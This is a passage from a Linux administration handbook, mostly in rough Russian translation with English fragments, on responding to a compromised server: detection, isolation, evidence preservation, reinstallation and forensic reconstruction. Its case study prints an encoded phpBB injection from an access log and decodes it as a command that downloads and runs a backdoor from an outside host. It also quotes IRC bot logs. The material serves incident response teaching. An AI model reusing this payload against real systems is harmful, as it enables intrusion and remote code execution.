14.7. Работа с компрометированной машиной
Несмотря на лучшие намерения и тем не менее тщательно разработанные политики безопасности, администратор в конечном итоге сталкивается с актом угона. Этот раздел содержит несколько руководящих принципов относительно того, как реагировать на эти прискорбные обстоятельства.
14.7.1. Обнаружение вторжения крэкера
Первый шаг реагирования на крэкинг - это знать о таком акте. Это не очевидно, особенно без надлежащей инфраструктуры мониторинга.
Взлом часто не обнаруживается до тех пор, пока не возникает прямых последствий для законных сервисов, размещённых на машине, например замедление подключений, некоторые пользователи не могут подключиться или любой другой тип неисправности. Столкнувшись с этими проблемами, администратор должен хорошо исследовать машину и тщательно изучить то, что плохо себя ведёт. Обычно это время, когда они обнаруживают необычный процесс, например, один названный apache вместо стандартного /usr/sbin/apache2. Если следовать этому примеру, вещь, которую нужно сделать, это отметить идентификатор процесса и проверить /proc/pid /exe, чтобы увидеть, какая программа в настоящее время работает:
# ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc
Программа, установленная в /var/tmp/ и работающая как веб-сервер? Без сомнения, машина скомпрометирована.
Это только один пример, но многие другие подсказки могут быть "звоночками" для администратора:
a command that suddenly shows errors like segmentation faults;
a program that utilizes all CPU cores or memory;
возможность для команды, которая больше не работает; версия программного обеспечения, которое команда утверждает, не соответствует версии, которая должна быть установлена согласно dpkg;
командная строка или приветствие сеанса, указывающее, что последнее соединение происходит от неизвестного сервера на другом континенте;
ошибки, вызванные переполненным разделом /tmp/ из-за незаконных копий фильмов;
и так далее.
14.7.2. Перевод сервера в автономный режим
В любых, кроме самых экзотических случаев, взлом происходит из сети, и злоумышленнику нужна рабочая сеть для достижения своих целей (доступ к конфиденциальным данным, шаринг незаконных файлов, скрытие своей личности, используя машину в качестве релея и так далее). Выключение компьютера из сети предотвратит достижение злоумышленником этих целей, если ему ещё не удалось это сделать.
This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it is usually a good idea to start by gathering some important information (see
Раздел 14.7.3, «Сохранить всё, что может быть использовано как доказательство»,
Раздел 14.7.5, «Судебный анализ (форензика)» and
Раздел 14.7.6, «Изменение сценария атаки»), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but
sshd). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines. If possible, and if the provider supports it, the server can be put offline and accessed through the providers KVM/IPMI interface or their rescue console. If the affected machine is a virtual machine, a snapshot should be taken immediately to secure evidence.
14.7.3. Сохранить всё, что может быть использовано как доказательство
Понимание атаки и/или привлечения юридических действий против злоумышленников требует получения копий всех важных элементов; это включает в себя содержание жёсткого диска, список всех запущенных процессов и список всех открытых соединений. Содержание RAM также может быть использовано, но оно редко используется на практике.
В пылу действий администраторы часто испытывают соблазн выполнять много проверок на скомпрометированном компьютере; это обычно не хорошая идея. Каждая команда потенциально разрушительна и может стереть части доказательств. Проверка должна быть ограничена минимальным набором (netstat -tupan для сетевых соединений, ps auxf для списка процессов, ls -alR /proc/[0-9]* для получения информации о запущенных программах), и каждая выполненная проверка должна быть тщательно записана.
Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running sync) and reboot it on a rescue CD. Each partition should be copied with a tool such as dd; these images can be sent to another server (possibly with the very convenient nc tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled. Most server providers offer a so-called rescue-console that essentially provides the same functionality as a rescue CD.
Сервер не должен вводиться в эксплуатацию без полной переустановки. Если компромисс был суровым (административные привилегии были получены), то практически нет другого способа, чтобы быть уверенным, что мы избавимся от всего, что мог оставить нападавший (особенно бэкдоры. Конечно, все последние обновления безопасности также должны быть применены, чтобы исключить уязвимость, использовавшуюся злоумышленником. В идеале, анализ атаки должен указывать на этот вектор атаки для уверенности в закрытии уязвимости; в противном случае можно только надеяться, что уязвимость была исправлена обновлениями.
Переустановка удалённого сервера не всегда проста; это может быть связано с помощью хостинговой компании, поскольку не все такие компании предоставляют автоматизированные системы переустановки или удалённые консоли (хотя эти случаи должны быть редкими). Следует позаботиться о том, чтобы не переустановливать машину из резервных копий, снятых позже даты компрометации. В идеале, только данные должны быть восстановлены, фактическое программное обеспечение должно быть переустановлено с установочных носителей.
14.7.5. Судебный анализ (форензика)
Теперь, когда сервис был восстановлен, пришло время более внимательно посмотреть на диск образа скомпрометированной системы, чтобы понять вектор атаки. При монтировании этих образов следует позаботиться об использовании опций ro,nodev,noexec,noatime, чтобы избежать изменения содержимого (включая временные параметры доступа к файлам) или запуска скомпрометированных программ по ошибке.
Прослеживание сценария атаки обычно включает в себя поиск всего, что было изменено и исполнено:
.bash_history файлы часто содержат очень интересный материал для чтения;
так как перечисляет список файлов, которые были недавно созданы, изменены или доступны;
команда strings помогает определить программы, установленные злоумышленником, извлекая текстовые строки из двоичного кода;
файлы журналов в /var/log/ часто позволяют реконструировать хронологию событий;
comparing the system to the last known uncompromised backup can quickly reveal the changes left by the attacker, e.g. files added, changed, or deleted;
инструменты специального назначения также позволяют восстановить содержимое потенциально удалённых файлов, включая файлы журналов, которые злоумышленники часто удаляют.
Некоторые из этих операций могут быть проще с помощью специализированного программного обеспечения. В частности, пакет
sleuthkit предоставляет множество инструментов для анализа файловой системы. Их использование облегчается графическим интерфейсом
Autopsy Forensic Browser (в пакете
autopsy. Некоторые дистрибутивы Linux имеют «живую установку» образа и содержат множество программ для судебного анализа, таких как Kali Linux (см.
Раздел A.8, «Kali Linux»), с его
форенсическим режимом , BlackArchLinux и коммерческим Grml-Forensic, основанным на Grml (см.
Раздел A.6, «Grml»).
14.7.6. Изменение сценария атаки
Все элементы, собранные во время анализа, должны соединиться, как куски в головоломке; создание первых подозрительных файлов часто коррелирует с журналами, доказывающими нарушение. Реальный пример должен быть более явным, чем длинные теоретические сплетни.
Следующий журнал - это выдержка из Apache access.log:
www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
Этот пример соответствует эксплуатации старой уязвимости безопасности в PHPBB
Декодирование этого длинного URL приводит к пониманию того, что злоумышленнику удалось запустить какой-то PHP-код, а именно: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). Действительно, файл bd был найден в /tmp/. Запуск strings /mnt/tmp/bd вернул среди других строк PsychoPhobia Backdoor starting... Это действительно похоже на backdoor.
Некоторое время спустя этот доступ был использован для загрузки, установки и запуска IRC bot, который был подключен к underground сети IRC. Затем бот мог управляться с помощью этого протокола и получил задание загрузить файлы для обмена. Эта программа даже имеет свой собственный файл журнала:
** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)
** 2004-11-29-19:50:15: DCC CHAT попытка авторизации от GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT
** 2004-11-29-19:50:15: DCC CHAT получил от GAB, попытка соединения с 82.50.72.202:1024
** 2004-11-29-19:50:15: DCC CHAT соединение успешно, аутентификация
** 2004-11-29-19:50:20: DCC CHAT Верный пароль
(...)
** 2004-11-29-19:50:49: DCC Передача Подтверждена от ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)
(...)
** 2004-11-29-20:10:11: DCC Передача Подтверждена от GAB: La_tela_dell_assassino.avi (666615KB)
(...)
** 2004-11-29-21:10:36: DCC Upload: Передача завершена (666615 KB, 1 hr 24 sec, 183.9 KB/sec)
(...)
** 2004-11-29-22:18:57: DCC Upload: Передача завершена (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)
Эти следы показывают, что два видеофайла были сохранены на сервере по IP-адресу 82.50.72.202.
In parallel, the attacker also downloaded a pair of extra files, /tmp/pt and /tmp/loginx. Running these files through strings leads to strings such as Shellcode placed at 0x%08lx and Now wait for suid shell.... These look like programs exploiting local vulnerabilities to obtain administrative privileges. Did they reach their target? In this case, probably not, since no files seem to have been modified after the initial breach.
In this example, the whole intrusion has been reconstructed, and it can be deduced that the attacker has been able to take advantage of the compromised system for about three days; but the most important element in the analysis is that the vulnerability has been identified, and the administrator can be sure that the new installation really does fix the vulnerability.
